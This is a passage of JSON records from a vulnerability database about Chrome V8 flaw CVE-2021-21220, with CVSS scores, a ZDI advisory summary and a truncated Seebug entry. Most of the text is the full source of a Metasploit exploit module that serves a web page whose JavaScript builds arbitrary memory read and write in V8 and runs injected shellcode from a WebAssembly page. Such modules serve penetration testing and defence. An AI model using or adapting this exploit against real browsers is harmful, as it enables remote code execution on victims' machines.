"NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30551"], "modified": "2022-04-01T03:53:55", "id": "55D44407-F5C9-50A9-B51D-0D4F668CD993", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "privateArea": 1}], "zdt": [{"lastseen": "2021-12-19T03:20:01", "description": "This Metasploit module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome versions prior to 89.0.4389.128/90.0.4430.72 when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute arbitrary code within the context of the V8 process. As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the --no-sandbox option for the payload to work correctly.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-04T00:00:00", "type": "zdt", "title": "Google Chrome XOR Typer Out-Of-Bounds Access / Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-05-04T00:00:00", "id": "1337DAY-ID-36202", "href": "https://0day.today/exploit/description/36202", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ManualRanking\n\n include Msf::Post::File\n include Msf::Exploit::Remote::HttpServer\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Google Chrome versions before 89.0.4389.128 V8 XOR Typer Out-Of-Bounds Access RCE',\n 'Description' => %q{\n This module exploits an issue in the V8 engine on x86_x64 builds of Google Chrome before 89.0.4389.128/90.0.4430.72\n when handling XOR operations in JIT'd JavaScript code. Successful exploitation allows an attacker to execute\n arbitrary code within the context of the V8 process.\n\n As the V8 process is normally sandboxed in the default configuration of Google Chrome, the browser must be run with the\n --no-sandbox option for the payload to work correctly.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Bruno Keith (bkth_)', # Vulnerability Discovery\n 'Niklas Baumstark (_niklasb)', # Vulnerabilty Discovery\n 'Rajvardhan Agarwal (r4j0x00)', # exploit\n 'Grant Willcox (tekwizz123)' # Metasploit Module\n ],\n 'References' => [\n ['CVE', '2021-21220'],\n ['URL', 'https://github.com/r4j0x00/exploits/tree/master/chrome-0day'],\n ['URL', 'https://twitter.com/r4j0x00/status/1382125720344793090'],\n ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1196683'], # Restricted at the time of writing, but should be public at some point.\n ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-21-411/']\n ],\n 'Arch' => [ ARCH_X64 ],\n 'DefaultTarget' => 0,\n 'Payload' =>\n {\n 'Space' => 4096\n },\n 'Notes' =>\n {\n 'Reliability' => [ REPEATABLE_SESSION ],\n 'SideEffects' => [ IOC_IN_LOGS ]\n },\n 'Targets' =>\n [\n ['Linux - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)', { 'Platform' => 'linux' }],\n ['Windows 10 - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)', { 'Platform' => 'win' }],\n ['macOS - Google Chrome < 89.0.4389.128/90.0.4430.72 (64 bit)', { 'Platform' => 'osx' }],\n ],\n 'DisclosureDate' => '2021-04-13'\n )\n )\n end\n\n def on_request_uri(cli, request)\n print_status(\"Sending #{request.uri} to #{request['User-Agent']}\")\n shellcode = Rex::Text.to_num(payload.encoded).gsub(/\\r\\n/, '')\n jscript = <<~JS\n var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])\n var wasm_mod = new WebAssembly.Module(wasm_code);\n var wasm_instance = new WebAssembly.Instance(wasm_mod);\n var wasm_main_func = wasm_instance.exports.main;\n\n var buf = new ArrayBuffer(8);\n var f64_buf = new Float64Array(buf);\n var u64_buf = new Uint32Array(buf);\n\n var shellcode = new Uint8Array([#{shellcode}]);\n var shellbuf = new ArrayBuffer(shellcode.length);\n var dataview = new DataView(shellbuf);\n\n function ftoi(val) {\n f64_buf[0] = val;\n return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);\n }\n\n function itof(val) {\n u64_buf[0] = Number(val & 0xffffffffn);\n u64_buf[1] = Number(val >> 32n);\n return f64_buf[0];\n }\n\n const _arr = new Uint32Array([2**31]);\n\n function foo() {\n var x = 1;\n x = (_arr[0] ^ 0) + 1;\n\n x = Math.abs(x);\n x -= 0x7FFFFFFF;\n x = Math.max(x, 0);\n\n x -= 1;\n if(x==-1) x = 0;\n\n var arr = new Array(x);\n arr.shift();\n var cor = [1.1, 1.2, 1.3];\n\n return [arr, cor];\n }\n\n for(var i=0;i<0x3000;++i)\n foo();\n\n var x = foo();\n var arr = x[0];\n var cor = x[1];\n\n const idx = 6;\n arr[idx+10] = 0x4242;\n\n if (cor.length == 3) location.reload();\n\n function addrof(k) {\n arr[idx+1] = k;\n return ftoi(cor[0]) & 0xffffffffn;\n }\n\n function fakeobj(k) {\n cor[0] = itof(k);\n return arr[idx+1];\n }\n\n var arr2 = [cor[3], 1.2, 2.3, 3.4];\n var fake = fakeobj(addrof(arr2) + 0x20n);\n\n function arbread(addr) {\n if (addr % 2n == 0) {\n addr += 1n;\n }\n arr2[1] = itof((2n << 32n) + addr - 8n);\n return (fake[0]);\n }\n\n function arbwrite(addr, val) {\n if (addr % 2n == 0) {\n addr += 1n;\n }\n arr2[1] = itof((2n << 32n) + addr - 8n);\n fake[0] = itof(BigInt(val));\n }\n\n function copy_shellcode(addr, shellcode) {\n let buf_addr = addrof(shellbuf);\n let backing_store_addr = buf_addr + 0x14n;\n arbwrite(backing_store_addr, addr);\n\n for (let i = 0; i < shellcode.length; i++) {\n dataview.setUint8(i, shellcode[i]);\n }\n }\n\n var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));\n copy_shellcode(rwx_page_addr, shellcode);\n wasm_main_func();\n JS\n\n html = <<~HTML\n <html>\n <head>\n <script>\n #{jscript}\n </script>\n </head>\n <body>\n </body>\n </html>\n HTML\n send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })\n end\n\nend\n", "sourceHref": "https://0day.today/exploit/36202", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "zdi": [{"lastseen": "2022-01-31T22:25:29", "description": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Chromium V8. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the implementation of XOR operation when executed within JIT compiled code. By performing actions in JavaScript, an attacker can trigger a memory access past the end of an allocated object. An attacker can leverage this vulnerability to execute code in the context of the current process.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-04-15T00:00:00", "type": "zdi", "title": "(Pwn2Own) Chromium V8 XOR Typer Mismatch Out-Of-Bounds Access Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21220"], "modified": "2021-04-15T00:00:00", "id": "ZDI-21-411", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-411/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "seebug": [{"lastseen": "2021-07-24T11:33:45", "description": "", "cvss3": {}, "published": "2021-04-13T00:00:00", "type": "seebug", "title": "Chrome \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2021-21220\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-21220"], "modified": "2021-04-13T00:00:00", "id": "SSV:99217", "href": "https://www.seebug.org/vuldb
Google Releases Urgent Chrome Update to Patch 2 Actively Exploited 0-Day Bugs
